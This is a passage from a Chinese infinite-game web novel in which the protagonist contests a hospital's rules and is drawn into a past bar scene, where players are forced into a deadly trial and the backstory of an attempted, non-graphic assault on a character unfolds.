【检测到首通记录在【4】以上的玩家数目,远低于总人数,存在有玩家拒绝参与首通试炼、消极怠工的情况,本次试炼将开启“全民战线”模式。】 【全民战线模式:除去报名参加的闯关者以外,系统将从没有报名的玩家中,随机抽取四分之一的幸运儿,直接进入本场首通试炼。】 【注意:被该模式选中,属于强制参与,不允许转让闯关名额,不允许用任何手段逃避试炼。】 【让我们摆脱躺平,摆脱懒惰,积极面对美好的明天![笑脸]】 寂静。 死一般的寂静。 人们甚至不知道自己该做出什么样的表情,脸上一片空白。 特别是之前唱衰的消极玩家,仿佛被无形的大手掐住他们的咽喉,无法呼吸,冷汗逐渐浸湿后背。 只要是玩家,就一定庆幸过,庆幸自己遇到的无限游戏,和那些电影小说中讲述的不同。 首通试炼自愿参与,试炼池随时开启,游戏大厅建设完善,在人数堆砌出来的优势下,可以保持自给自足。 是以玩家心理素质不达标,也不用顶着崩溃的压力参加副本,想咸鱼就咸鱼。 那些危险、沉重的事情,自有比他们厉害无数倍的人去解决。 可是现在,【强制参与】四个大字,就像从后背悄然抬起来的一把闸刀,唰的一下,刀光锋利锃亮,轰然摧毁象牙塔,劈碎“反正落不到我头顶”的侥幸心理。 毕竟所有人都清楚—— 首通试炼险象环生,并且没有攻略。 大多数直播间观众沉溺安逸,更没有足够的战斗经验和面对危险的应变手段。 他们和待宰的羔羊没什么区别,不,应该说羔羊还有气性,会撞人。而他们呢?失去直播间的上帝视角,会是什么样的结局? 被称作全民战线模式,这次强制四分之一的玩家参与,下次又会是多少? 四分之一,还是增加成二分之一? 又或者是—— 人满为患的游戏大厅里,各种辱骂吵闹声瞬间消失,只能听见几不可闻的呼吸声,从浅淡到急促。 这场状似还留存着一丝温柔的无限游戏,终于在玩家始料未及的时候,露出它淬毒尖锐的獠牙。 * 另一边试图抢夺诡王权限的谢叙白,毫无疑问,遭到了规则的拒绝。 诚然谢叙白已经在这家医院里获得赫赫威名,实力足够强,甚至能压过李主任,但是他的根基太浅了。 ——才入职两天而已,对这家医院一知半解,就想竞选院长职位,简直滑天下之大稽! 谢叙白从反馈回来的规则之力中,敏锐地察觉到了这点。 轰隆隆—— 雷霆肆虐,规则不允!难以想象的压力犹如巨大的海啸扑面而来,致力于将谢叙白的意志全面封杀。 然而谢叙白不退反进。 他在无垢之海中见识过真正的灭世海啸,在地动山摇的江家祭坛安抚过愤怒暴虐的小触手,平安因饥饿失控,对他龇牙咧嘴的时候,他亦不曾腿软退缩。 一路走来,何时不是腥风血雨。 第一医院的规则想要压垮他,不够。 金色精神力宛如昏暗黑夜中的一缕灯火,继续溯游而上。 它和规则之力正面相冲,引发剧烈的地动,整个医院开始疯狂摇晃! 宿舍楼灯光亮起,医护人员们趿拉着拖鞋,连滚带爬地跑出来,目瞪口呆地看着天空。 黑夜惊险异象,厚重的乌云朝中间凝聚,形成黑洞般的巨型黑色漩涡。漩涡不停旋转,吹出风浪,树影摇曳,土砾草屑纷飞。 银白色的雷光和璀璨的金光胶着在一起,战得难舍难分,将天空映得亮如白昼。 规则之力不断打压谢叙白,在它的地盘上,它自然也是不惧。它将金色精神力咬得支零破碎,猛如狮虎,不断朝谢叙白逼近。 也是这个时候,谢叙白眉头一皱,似乎力有不逮。 雷霆怎会错过这种机会,牟足全力,顺势欺上! 可它万万没能预料到,这不是它将谢叙白打出来的破绽,而是谢叙白故意漏过它的陷阱。 一道凝实到极致的金光,正等着它毫不设防的这一瞬间飞跃而起,眨眼之间敏锐地绕开所有雷霆,将规则之力束缚其中! 轰! 那似乎是规则之力在发出愤恨的诘问:你敢诈我? 谢叙白的意识波动传递过去:【只要认我为院长,我就放开你。】 回应他的,是更加震耳欲聋的雷鸣。 轰隆隆——! 谢叙白咬紧牙关,在规则力量的冲刷下,几乎被震破耳膜。 他知道,在医院的地盘上,不能指望能从正面压制规则。 僵持下去更是危险。 金色精神力全面展开,用极其巧妙的手法,将规则之力一顿揉搓。 已知规则有选人的意识,江家的土地就选择了江凯乐。 谢叙白收拾情绪,语气平静柔和,循循善诱:【为什么不愿意认我?只要是你想要的,我都可以改。】 【难道你不想要一个强大的继任者吗?可以维护这方土地不被宵小破坏,可以让你稳定地运转下去。】 青年最擅长的,就是这种软化人心的技巧。 但那并不代表他在做小伏低。 谢叙白的瞳孔隐隐透出浅淡的金色,他的意志和精神力融会在一起,呈现出这种注意力专注到极致的状态。 沉着的心智支撑着他,让他不至于在对峙中沦陷。他不留余力地铺开精神力,竭力搜寻着【规则】中任何一处可能出现的漏洞。 规则虽然无情,但以柔克刚的手段在面对所有力量时通杀。 逐渐的,规则之力有些承受不住了。 第77章 设定一:洁癖 规则无法言语,但力量会为之涣散,压迫力也不再强势。 谢叙白的感知顺着精神力不断蔓延。 如果将排斥他的规则之力比喻成一面城墙,那么此时此刻,这面墙便在他的不断击打下,裂开了一个细微的缺口。 他当机立断,形如锋利刀刃的精神力,转瞬化作无孔不入的水流,顺着那微小的缝隙鱼贯而入。 轰!轰!…… 无数道雷霆划破夜幕,第一医院上空全是惨白的雷光。 随着谢叙白的精神力探入规则,规则像被拽住尾巴炸毛的猫,气急败坏,不断反扑。 但谢叙白已经改变了进攻策略,不再以驯服它为唯一意图,而是在这飘渺无形的规则中,努力寻找与它不合契的缘由。 谢叙白想起幼时在妈妈的引导下,伸手触碰邻居家的小狗。 毛茸茸又热乎乎的小身体在掌下抖动,仿佛能从中听到鲜活蓬勃的心跳声。 宛如那时第一次感受到生命的神奇,他认真小心,感知着规则的构成和本源。 若有排斥和阻力,他就巧妙绕开。若有虚弱和退缩,他就果断攻上。 便依靠这温柔又强势的手段,将规则之力耐心围剿。 时间突然变得很慢。 草叶的摇动,风过树梢的轨迹,人们因震惊而呈现的细微变化……一切都变得有迹可循。 空间也不再是仅肉眼可见的一整幅画面,而是被分割成无数不规则的立体小块。 身处这玄而又玄的奇妙境界中,谢叙白的心越来越平静,好似与规则趋同。 终于在某一刹那,他猛然感知到了规则不愿意接受他的症结所在! ——因为他不了解。 他不了解这家医院的起源和历史,不了解这家医院的运作方式,不了解这深藏在暗潮下的门门道道,所以规则无法信任他。 这题无解。 谢叙白毕竟是个新人,而规则想要的这些东西,需要时间来沉淀。 如果谢叙白愿意在这家医院继续干下去,过个三年五年,积攒足够丰富的阅历和经验。 他甚至什么都不用做,规则也会主动为他加冕。 问题是,真等到那个时候,裴玉衡不知道要忍着恶心吃下傅倧多少血肉,又会因什么突发事故崩溃。 而谢叙白也不能保证,自己可以一如既往地保持着理智,不被异化的环境污染。 不知不觉间,雷声变小了。 银白色的闪电不紧不慢地游走在云层中,偶尔才炸出一声响动。 和刚才如狼似虎的样子相比,简直判若两雷。 无论是谢叙白,还是依旧在“张牙舞爪”的规则,忽然都意识到,青年已经得到了它的初步认可。 【既然这样。】谢叙白话锋一转,语不惊人死不休地道,【那你现在就把我不了解的东西,全都告诉我。】 是,他是因为入职时间不长,不了解这家医院。 唯三可能知道得比较清楚的人。 其一裴玉衡,肯定不会同意他只身犯险。 其二傅倧,谢叙白不在裴玉衡补刀的时候多踹它几脚,都算谢叙白脾气好。 其三李主任,虽是元老级人物,知道医院里的很多内幕,却不全面,这么多年一直被蒙在鼓里。 至于其他人,多都是道听途说后的片面之词。 就算谢叙白有时间一个个问过去,也没有时间一句句地分辨真假。 但是,有一个存在一定能了解所有的真相和历史。 那就是这片大地。 泥土会印下每一个人来来往往的脚印。微风会拂过大地,感受每一丝弥漫的硝烟战火。大树枝干盘虬,巍峨挺立,逐年变宽的年轮是它的史书,见证着一切。 包括墙壁上细微老旧的刻痕,愈发进步的医疗技术,一步步改革的制度,都是被铭刻下来的历史。 面对谢叙白的追问,一瞬间雷霆刹停,像是被他恬不知耻的厚脸皮惊呆了。 ——我作为出题者考验你,你居然想从我这里直接得到答案? 但谢叙白不觉得有什么问题。 而且他向来言出必行。 不等规则做出反应,谢叙白以规则为桥梁,顺势将感知蔓延到第一医院的每一寸土地。 这个过程不仅极其消耗精神力,更免不了被当成入侵者,触发规则的保护机制,遭到打压。 谢叙白再次头疼欲裂,像是有一把刀扎入他的脑子,又翻来覆去地搅动,痛得眼前发黑。 他这种不认命且拼尽全力的冲劲儿,不知道触动了【规则】的哪一点。 无数雷霆自云霄降落,凝而不散。 它们盘旋在青年所处的地界周遭,没有发起攻势,踌躇又好奇地围观着、审视着……欣赏着。 在这形势紧要的关头,一道溢散着润白光华的精神力忽然自地面拔起,飞入云霄,融入谢叙白的意识世界。 是裴玉衡的精神力,对方在帮他获取权限! 谢叙白发黑的视野瞬间一亮,恢复清明。 本就缓慢的时间流速,顿时被拖曳得无限漫长,直至完全静止。 他的意识抽离现在的时间线,穿梭时间与空间的裂隙,跨越悠久的岁月长河,最终站在历史的洪流。 过去在这家医院的土地上,发生的一场场重大事件,皆如恢宏壮观的影片,从他的眼前飞速划过。 谢叙白抬起头。 仰望这不可思议的一幕,他的心跳如擂鼓。 宴朔昨晚就演示过如何破开禁制,打开窥见过去的时空之境。 神明的强大叫人艳羡。 没想到,仅是一天时间,他也将亲身体验这种神秘强大的操作。 可谢叙白毕竟是依靠裴玉衡的力量,才能抵达这里。 历史的进程被具象化为五彩斑斓的洪流,水流湍急,冲刷他的裤脚,荡开梦幻般的色彩。 这片大地所记载的历史,可不止医院这小小的几十年。 亿万载岁月,若没有强到成神的识念,根本无法驾驭。 谢叙白像在潮水中抱住浮木、勉强得以呼吸的人,只不过想往前走出一步,就差点不稳摔倒,跌入不知名的时间线。 裴玉衡的精神力在消散,摇摇欲坠,他帮不了谢叙白多久。 谢叙白咬牙站定,冷静果断地四下寻找,终于在一个近处的节点上,发现自己的目标。 ——裴玉衡。 不是现在满脸沧桑疲倦的中年男人,而是风华正茂年轻俊秀的裴玉衡,眼神是不加掩饰的冷淡。 后者穿着朴素干净的白衬衫,挤入影影绰绰的人群,背景是灯红酒绿、聒噪糜烂的酒吧。 谢叙白毫不犹豫地将手伸过去,抓住了那段具象化成影片的历史! 叮。 久违的机械声在谢叙白的脑子里响起。 下一秒,谢叙白的脑海中凭空被塞入一个片段,片段内容如走马灯般飞速掠过。 【我在医院的历史碎片中看见:裴玉衡在一次突发意外中,无意发现异化的怪物。 他想将事件上报给上层,却震惊地发现,自己无法以任何手段把消息传递出去。】 【这座城市的上空,仿佛有一股无形的力量在作祟。 它阻碍了信息的传递和产生,混淆了人们的感观,禁止任何人逃离。 除非亲眼见证或是被卷入异化风波,不然无法认知到这场灾难正在蔓延。】 【就在裴玉衡面临求告无门的困境时,那些名门子弟不知从哪儿得到消息,竟然兴高采烈地对他发出邀请。】 【“——你想知道这个世界的真相?那就主动点,来找我们。”】 【无意窥见的世界真相诡谲莫测,那些烂泥扶不上墙的纨绔子弟,竟是知情者?】 【裴玉衡急于改变现状,弄清楚这个世界到底发生了什么事,皱着眉头应约。 却不知道那是恶魔们迫不及待地伸出爪牙,欲要将他拖入深渊。】 谢叙白听完这段宛如剧本般的念白,下意识有股不舒服的感觉。 他正要继续看下去,脸上的金丝眼镜倏然动弹了一下。 紧跟着影片像是受到影响,产生某种连锁反应,一股难以抵抗的吸力传来。 谢叙白的心脏顿时一咯噔。 时间太快,他来不及做出反应,就被影片吸入其中,视野一阵天翻地覆。 不知道过了多久,强烈的失重感降临全身,谢叙白从半空中坠落。 噗呲! 后背传来剧痛,但并不彻骨,没有伤及脏腑。 谢叙白撑着晕眩的脑袋,眼前一片发黑。 好半天,模糊的视野才变得清晰,嗡嗡耳鸣如潮水般退散。 他仰头看见繁星如织的夜空,眨眨眼,涣散的瞳孔一秒凝神。 这里不是第一医院。 谢叙白飞速张望四周。 他掉落的地点正好是一处垃圾堆,垃圾袋堆在一起,变成柔软的垫子,卸掉大部分的冲劲儿,才不至于让他摔得七荤八素,直接晕过去。 喧闹的人声和激情演奏的摇滚乐,一齐从隔壁房子里传来。青石路面映着惨白的月光,正对着一条宽阔的大马路。 这里是酒吧的后巷? 想起在历史片段中看到的酒吧,谢叙白一秒猜到自己是被拉入了过去的时间线,倒吸一口凉气。 他摘下脸上的始作俑者,那副突然作妖的金丝眼镜。 谢叙白皮笑肉不笑,一字一顿:“你把我拉到这里来干什么,一会儿我们要怎么回去?” 根本不用怀疑。 宴朔能够操控时间,眼镜身为对方的意识体分身,自然也有带人到过去的能力。 金丝眼镜不动如山,被谢叙白连着弹了好几下眼镜框,才慢吞吞地动弹一下,蹭蹭他的手指。 谢叙白还想继续追问,陡然看见一道颀长清瘦的身影路过巷口。 那正是裴玉衡。对方皱着眉头,似乎很不习惯这里的气氛和嘈杂。 想到对方即将经历的悲剧,谢叙白来不及继续收拾眼镜,连忙站起身追了过去。 【其名裴玉衡,设定一:洁癖】 【当纯洁无瑕的身体被压制,印满魔鬼的指纹,肮脏的是这个世界,还是自己?】 第78章 试炼开启 无限游戏空间。 试炼《请遵循设定》开启前半小时,观众们传送至直播大厅。 然而往日热闹且充斥着欢声笑语的场地,此时却弥漫着一片僵冷紧张的气息。 面板上鲜红的倒计时,仿佛化身悬在头顶的勾魂索,叫他们情不自禁吞咽唾沫,绷紧神经。 【全民战线模式】 当达标人数远低于玩家总人数时,将会开启的模式。 乍一听闻这条公告,往日高高挂起的大部分玩家,像寒冬腊月掉进了冰窟窿,通通一个激灵,彻底清醒。 紧跟着,论坛爆了。 带着#全民战线#标签的热帖,分分钟顶掉八卦趣闻,屠版整个页面。六神无主的玩家们集中在热帖下,宣泄自己的惶恐,争议层出不穷。 有人一针见血地指出,系统只以连续首通记录作为判定标准,完全就是个坑! 随着副本难度加大,能够保持首通记录的人数只会越来越少,这是必然趋势。 换句话说,全民战线模式一定会开启。 经常出入试炼池的玩家或许还能应付,但对远离战斗的生活玩家而言,不亚于灭顶之灾。 也是这个时候,某个数据帝贴出玩家的职业比例。 别看直播业热火朝天,好像每次参与的闯关者都很多,实则一直在前线奋斗的玩家,不到百分之十五。 ——在赎回地球的重任面前,居然有近八成的人选择躺平? 仿佛有一股寒意从脚底板油然而生,玩家们汗流浃背。 想想以前,不是没有人感慨过。 玩家大厅里的商铺、农田、林园、牧场等建筑越来越多,之前只有寥寥几十家,现在却多到能组建好几座城市。 似乎随着时间的推移,人们更乐意选择打工做生意,而非通关冒险。 特别是在系统开启商铺出租等功能后,玩家的买卖行为得到大力保障,用系统商店的基础材料制作工具道具,甚至能以高价卖给商店。 对比起来,岂不是稳赚不赔? 得到的积分还能用来打赏闯关的主播,为赎回地球更添一份力。 首通试炼阵亡率极高,他们作为见证者,以记忆为笔,记载历史和攻略,何尝不是在添砖加瓦? 直至系统推出全民战线模式。 ——这已经不是怀疑有没有阴谋论的问题了。 已经有人冷汗淋漓地反应过来,全民战线模式,必将推进到“全民”。 接下来,大量玩家将进入副本,再成千上万乃至于上亿地死去。 他们的记忆会被挨个清空,直至一场全面的大清洗,将所有人变成白纸一张。 到那时,玩家将不再记得前尘往事,又回到新的起点,任由系统矫揉造作,踩着之前的陷阱,无知无觉地步入下一次循环! 直播大厅的气氛紧张到一触即发。 生活玩家们额角渗汗,闭着眼睛对天疯狂祈祷,希望系统不要被选中自己。 人们时刻紧盯着首通排行榜,少有人注意到,战力榜上沉寂已久的诸位大佬,竟陆陆续续地关掉匿名,打开直播。 某个需要天价积分才能租用的VIP观众包厢内,有人忍不住发起牢骚。 “你们说说这像话吗,我不过是没参加前两场首通试炼而已,热度居然掉到这么低?” “说明过气了,早点让位吧。” “去你的,小爷我堂堂主播业界一枝花,怎么可能这么快就过气?” 包厢里还坐着几个人,打开的玩家面板上,统一显示进入副本的倒计时。 浓稠的血液从字尾滴落,拖出一条黏腻湿冷的红痕,森冷阴郁的气息随之弥漫。 换成其他玩家看到这一幕,不说吓破胆,也会脸色发白。 但在场几人面色如常,各做各的事,根本没受影响。 刚刚自称小爷的那人,背往后靠,懒洋洋地蜷在沙发上,边用单手玩魔方,边顺着战力榜依次翻下去。 他染着黄色头发,穿着再普通不过的黑体恤。模样青涩,看着还不满二十岁。有一双狭长的丹凤眼,左眼下凝着一颗泪痣。脸颊有些婴儿肥,配合五官,显出几分混不吝的孩子气。 扑克牌形状的黑曜石耳坠吊在左耳,在灯光的照耀下熠熠生辉。 扫见几个代号,他双眼登时一亮,唰一下坐起身,激动万分地招呼道:“哟,你们快看,巅峰那些人居然也参加了试炼!我还以为他们要轮到【9】才会冒头,啧啧啧。” 左边国字脸的男人头也没抬,淡淡地接过话:“全民试炼模式开启,【预言家】的预言得到初步证实,他们不可能坐得住。” “为了一个虚无缥缈的预言,连着放弃好几场首通试炼,把自己关进试炼池反复训练,这事儿换我绝对不行,真佩服他们的毅力。” 黄发青年摇头晃脑地说着,点开首通排行榜。 榜首【8】,美洲队,主播知名度与当前直播热度并列第一。 看得他身体一顿,忍不住眯起眼睛,像只振臂猎食的螳螂。 “你们猜,系统会不会让这位‘救世主’顺利成为【10】?” 看出他不甘落后的胜负欲,国字脸无奈地摇了摇头:“行了,你和一个人造的玩意争什么争?做好准备通关这场试炼。” “S级诡王难度,诡王数量未知,就算你是战力排行榜前十,也不一定能顺利过关。” “停停停!我必须得纠正你一点。”黄发青年咋咋呼呼地打断他。 他话锋一转,眸色深沉似海,嘴角高扬勾起笑意,锐不可当的气势扑面而来:“不是前十——” “是第五。” 啪嗒一声,单手转好的十二阶魔方,稳稳落在桌面上。 下一秒,直播间观众人数悬崖式上涨,不过短短几个呼吸的功夫,就增加了上千万热度! :靠,有生之年居然还能看到小魔术师的直播! :您终于复活了是吗? :在?问问前两场试炼为什么没参加?要是有你在,多强的BOSS都能给扬咯。 :QAQ救命啊小魔术师!系统玩儿阴的强制玩家参与首通,刚才公布名额就有我!这次我要是死了,清空记忆,以后就没法再给你打赏了,补药啊啊啊啊! …… 距离试炼开启,还有十分钟。 黄发青年随意扫一眼,看到那条弹幕,当即勾起嘴角,使用组队道具,朝弹幕ID发起邀请。 “真是没办法。”青年笑起来,透着一点狡黠的味道,“那我就带带你吧,不能让我可爱的粉丝们担惊受怕呀。” 该观众只是在极大的压力下,随口发出一句抱怨。 作为小魔术师千万粉丝中的一员,他一直在默默关注主播,从没想过自己会得到主播的青睐和庇护。 看着面前的组队邀请,顿时有种被天降彩票砸中脑袋的眩晕和惊喜。 组队道具需要花费高额积分,组队人数会受到系统的限制。一般只会和信得过的人组队,增加自己的存活率。 知道小魔术师贯来宠粉,却也没想到能慷慨到这种程度。 就像冰水倒入油锅,直播间顷刻间全面沸腾,弹幕数量几何倍暴增! 同伴看到这夸张的架势,忍不住小声吐槽:“当过明星的人就是了不得,轻易拿捏观众的心思。” 选完这名幸运观众,黄发青年又向打赏榜前几的粉丝,彬彬有礼地发出组队邀请。 他的脸上笑出两枚酒窝,泪痣轻扯,耳坠晃动,眼里仿佛氤氲着万千深情:“感谢哥哥姐姐们的大力支持,肯赏脸让我来保驾护航吗?” :必须能啊!! :惹人的小妖精最甜了,呜呜呜!!! 玩家在进入副本前,除了标题,得不到任何相关信息。但能用组队道具,来确定该场次分配的玩家人数。 当然这个方法,只有财大气粗的玩家才用得起。 一直邀请到第五名队友,黄发青年停下来,朝队友不留痕迹地打出个手势。 其他人明悟,瞬间拧紧眉头。 “竟然是超过五十人的中型副本……难道场地会特别大?” 黄发青年的视线落在某条弹幕,忽然定格,饶有兴味地念出来:“对新出现的特殊NPC有什么看法,会不会担心自己长得还不如一名NPC,嘶……” 他眉毛一挑:“严岳的直播我也看了,要不是画面太陡,没有聚焦,连那名NPC一半的神韵都没拍出来,我没准还会真的担心一下。” “至于现在嘛,我很期待和那位传说中的谢叙白撞上面,肯定比严岳更能架好直播镜头。” “到那时候你们就会发现——兜兜转转到最后,果然只有我能成为你们心中的NO.1。” 弹幕情绪顿时热烈快活起来,骂他臭不要脸。 S级试炼开启前五分钟。 一队穿着白色军式作训服的玩家来到议会大厦,对镌刻着“人类永不言败”的石碑行注目礼。 阳光的照射下,【巅峰】的徽记反射出一阵冰冷肃穆的银光,夺目亮眼。 试炼开启前四分钟。 一名披着黑色斗篷的玩家蹲坐在岩石上,磨刀石在镰刀上刮出激烈的火花,嘴里兴奋地念念叨叨:“呐,让我碰上让我碰上让我碰上……一定能碰上,那位叫谢叙白的大、好、人。” 试炼开启前三分钟。 像是不约而同,战力榜超90%的玩家纷纷点亮直播标识,观众们震撼又惊喜。 试炼开启前一分钟。 所有闯关者整装待发。 很快,倒计时归零。 闯关者的视野骤然变黑,像是坠入波澜壮阔的大海,在听到“扑通”的清脆入水声后,身体不受控地飘来荡去,大量记忆片段争先恐后地涌入脑海。 系统声透着刺骨的寒意,宛如警告。 【请玩家扮演好当前角色,勿要违反角色设定。】 第79章 就决定是你了 脑子里凭空多出另一人的记忆,就好像在演奏中强行插入一节荒腔走板的音调,刺着听众的耳朵,叫人忍不住皱眉。 没过多久,不和谐的音调变得委婉柔和,几乎与原曲调同频。 大部分玩家舒展眉梢,神情放松。 少数人却瞬间察觉到危险,如魔术师。 他微妙地发现那节记忆正如拟态的寄生虫,试图侵入自己的意识世界,当即运用精神力抵抗,结果遭到系统的严重警告。 【警告!记忆传输过程中请不要乱动,避免造成不必要的损伤。】 激烈的电流打入大脑,疼痛感刺激大脑一瞬断片。如果魔术师继续抵抗下去,说不准会不会被电到失智。 魔术师挑了下眉梢,放松接收记忆。 同时,一段任务影像见缝插针地钻入脑海。 仿佛是系统怕他们在开局无所适从,不知道该干什么,给出的“友好提示”。 像魔术师将要扮演一名无恶不作的二世祖,影像中就播放他即将侵害一个……呃,男的? 魔术师盯着那人明显突起的喉结和平坦的胸膛,陷入了沉思。 侧面看出二世祖就是这么个色令智昏荤素不忌的性子,不过那男的确实有招惹人的资本。 身高腿长,长相俊秀,浑身萦绕着清冷的气质,让人一眼想起万年冰山上纯洁无垢的雪莲花,褒义的那种。 影像听不到台词,也看不清嘴型,不过对曾经混过娱乐圈的魔术师而言,从人物肢体动作判断意图,不是什么难事。 但接下来的剧情就有点意思了。 不知道二世祖想到些什么损招,把人钓到这家酒吧,并意图下药。 被钓的男人名叫裴玉衡,一眼看出酒水里面有东西。 问话发现二世祖一直在插科打诨、顾左右而言他,也是非常干脆,当机立断地转身走人,连包厢的门都没进。 然而二世祖和他的狐朋狗友们都没追上去,也不着急,相互笑看一眼,嬉皮笑脸地倒酒猛灌一口。 没几分钟,那个叫裴玉衡的年轻人竟然又走了回来。 但是他双眼涣散空洞,好像被什么东西控制着,变成了提线木偶。 二世祖们一点都不意外的样子,笑眯眯地盯着他。 年轻人走到二世祖的跟前,缓慢解开衣扣。他好像还残存着一点自主意识,指尖几次打颤,从衣扣上不稳地滑下去,无神的眼珠子爬上红血丝。 代入二世祖,魔术师能感受到从指尖传来的柔嫩触感。 年轻人皮肤细腻,稍微按一下,就像烙印般留下深深浅浅的指印。 其他人见状,也笑着去拽裴玉衡的手臂,将人按在沙发上。 不知道是谁关上大灯,光影明灭,视野晃晃荡荡。 这些纨绔子弟的影子倒映在墙上,背后是红红绿绿色调阴暗的灯光。 光线越来越暗 ,墙壁上的瘦长影子张牙舞爪,发出得意的狞笑。 在所有人都以为自己将要拿下这朵高岭之花的时候,不知道是不是意志挣扎成功,裴玉衡突然眨眼,恢复清明,拼尽全力捞起桌上的酒瓶,给二世祖啪的一下开了个瓢。 酒水混着血液四溅,在场人震惊停手。 趁他们愣神,裴玉衡推开挡在面前的人,奋力跑出包厢。 他的脚步踉踉跄跄,身影狼狈不堪。 下楼路过拥挤的大厅,听着喧闹的人声,裴玉衡像是被掐着咽喉快要窒息的人,终于急促地、劫后余生地、颤抖着喘上了一口气。 但裴玉衡万万没想到,自己会在越过人群的时候遇到阻力。 他顺着冷不丁拽住自己的手臂看过去,看到一双绿幽幽泛着欲念的眼睛。 那是酒吧的客人,一名普普通通的客人。这人盯着裴玉衡白皙皮肤上印着的红指印,艳丽糜烂,呼吸愈发火热急促,随后张开嘴—— 魔术师看不到嘴型,猜想大概是滚床单之类的邀请,而且用词很脏。 因为下一秒裴玉衡就瞪大眼珠子,几乎要吐出来般,狠狠地甩开了那人的手。 他继续往前走,因为人太多,没法开跑。 像掉进狼群的羊羔,格格不入又让人垂涎觊觎。 裴玉衡不知道,当他带着遗世独立的气质出现在这家酒吧时,就有不少人盯上了他。 人群挤挤挨挨,那些潜伏的恶鬼们悄然抬头,有意无意地朝裴玉衡的位置靠近。 无数双手从暗处伸出来,不知道是谁扯开他的衣服,摸到他的手臂,扒住他的肩膀,看他细皮嫩肉,又恶意满满地掐了一把。 在那短短一分多钟的时间里,世界再次变得混乱疯狂。 直到楼上传出动静,酒保发现二世祖们被人袭击,急匆匆地跑下来,愤怒大喊寻找罪魁祸首。 人们吃惊,停下跳舞。 裴玉衡抓住这短暂的间隙,一路没回头,冲到家门口的时候,不知道是心神恍惚还是动作过快,差点撞到门上。 跌跌撞撞打开门,又差点在玄关摔一个跟头,最后他冲进浴室,红着眼,抖着手,顾不上调节水温,哆哆嗦嗦地拧开浴室喷头。 水流打湿他的衣服和头发,他扭头对着马桶大吐特吐,蜷在冷水喷洒的地砖上,嘴唇冻到惨白失色,疯狂搓洗手臂上的红指印。 系统适时提醒。 【角色任务一:为人物裴玉衡塑造设定“洁癖”】 下一秒,魔术师的耳边终于有了声音,酒吧的吵闹声和摇滚乐由远至近,他余光一扫,瞄见两个戴耳钉的年轻人在划拳喝酒。 “你输了,喝!哈哈哈哈!” 魔术师额头上还残留着身临其境后,被裴玉衡开瓢的剧痛。 他看了眼手里的酒。二世祖们是懂得享受的,上来就是82年的拉菲,酒香四溢,勾得人唇齿生津,浅尝一口。 结果刚入嘴,魔术师脸色就变了,呸呸吐出来。 该死的二世祖为了装X买的假酒! 这种突兀的举动,理该引起周围人的差异,不过在魔术师的旁边,有人的反应比他还大。 “啊!” 像是陡然从噩梦中惊醒,那人翻身坐起,大汗淋漓。 旁边的人被吓了一跳:“你突然间吼什么,一惊一乍的,睡懵了啊?” 那人没顾得上回答,恍惚地盯着自己的手,眼神有那么一丁点怪异。 哪里怪异呢?魔术师想,大概和二世祖们看上裴玉衡时的眼神差不多,充满贪欲,让人作呕。 系统让他体会了一场真人模拟,料想其他玩家也是这样。 只是他能迅速抽离,其他人却免不了被原主的记忆和性情影响。 对玩家来说,他们只能放任记忆融入脑海。 然而本次游戏到底有多少人能意识到,这种潜移默化的人格同化,将会随时间的流逝,造成致命的惨案? 瞄一眼任务面板上“20天”的生存时限,魔术师勾了勾唇角,笑意却不达眼底,猛然拍了下巴掌。 啪! 被那名玩家吸引的人,又将视线落在魔术师的身上。 一般情况下,队友开场会直接出现在身边,但这次系统作妖,组队频道灰暗,不能用,等同于斩断队友私底下交流身份的渠道。 如果不小心对NPC暴露身份,就会违反设定,直接死亡出局。不是确保万无一失,连队友都不能认。 魔术师混不吝地笑起来:“这酒后劲真大,嘶,刚才说到哪儿了?” 旁边有人回神接话,笑他:“你不就喝两口吗,说什么后劲儿大。” “我是想到一会儿——” 魔术师扯开嘴角,投去一个“你我都懂”的眼神。 那人会意,也跟着露出一个阴险下流的笑容。 经过这么一聊,差点暴露身份的玩家终于反应过来,勉勉强强收拾好表情。 魔术师走到他的面前,拍了拍他的肩膀,弯身笑道:“你跟我出去一趟,去看看那人到哪儿了。” “有必要特意去看吗?”身后的人咋呼起来,正喝得起劲儿,不想败兴。 魔术师:“我出去一趟,得盯着,保险点。” 影像中,二世祖们虽然在酒水中动了手脚,但裴玉衡没喝酒,甚至没进屋子就中了招。 魔术师猜测影响裴玉衡的东西应该不在屋子里,果不其然,狐朋狗友们露出了然的神色:“行,检查得仔细点,哈哈哈!” 另一边,谢叙白再次掉进垃圾堆。这一次他反应很快,屈起双腿减少势能,落下去的时候,至少没有上一次痛。 谢叙白没有急着起身,揉了揉眉心,呢喃道:“又来这套。” 江家试炼开场,他欲要和江凯乐相认,结果引起循环重启,这次他又遇到了这情况。 当谢叙白抢在裴玉衡进入酒吧前阻止对方时,下一秒强烈的失重感袭来,他睁眼重新出现在巷子上空,再一次自由落体。 不同的是,谢叙白的精神力变得很强大,就算回溯时间,也不会难受到心悸。 他不由得开始思考自己还能再回溯几次,或许可以用这个方法规避危险。 眼下,谢叙白知道自己不能贸然接近裴玉衡,忽然想起宴朔曾经说眼镜有改变形貌的功能,神色一动,捏捏眼镜腿:“你能不能让我扮成其他人的样子?可以的话动一动。” 眼镜慢吞吞地弹一下。 谢叙白见状欣喜,接着又陷入沉吟,扮演谁比较好? 必须是接下来能和裴玉衡有紧密接触的……对了,那群纨绔子弟。 想到这里,谢叙白顿时闭上眼睛,展开精神力。 他看历史片段的时候,特意留心过纨绔子弟的包厢号,通过精神力的搜捕,轻易锁定位置,并瞄中一个看起来像是领头者的人。 于是魔术师笑盈盈地准备出门,差点就被一道不容置疑的精神暗示夺走心魄。 【出来。】 魔术师错愕一秒,眯了眯眼睛。 这道精神暗示,绝对不在角色扮演的剧情线内。 以前也不是没有被诡怪蛊惑过,能在开局精准锁定自己的,没准儿是什么关键NPC。 他没有抵抗,抱着一探究竟的想法,顺势下楼。 走前不忘带上另一名疑似队友的傻玩家,让人守在酒吧门口放风,别开场白给。 巷子里只有酒吧安置的灯光,一名年轻人屹立在月色下,穿着白大褂,身形颀长瘦削,神情淡漠,倒有点让人捉摸不透的味道。 魔术师仔细打量两眼,不认识,毕竟谢叙白戴着眼镜。 他自然而然融入二世祖人设,满眼嫌恶地掩鼻:“哪儿来的流浪汉,鬼鬼祟祟地在这干什么,想要偷东西?” 戴着金丝眼镜的年轻人淡然抬眸,不紧不慢地打量他,语不惊人死不休地吐出两个字:“玩家?” 被NPC认出身份等于扮演失败,等于出局。 那一瞬间,魔术师的心跳狠狠漏了一拍。 第80章 过招 任由魔术师的心理建设再严密,危难关头、濒死之际,也会控制不住流露出一星半点的真性情。 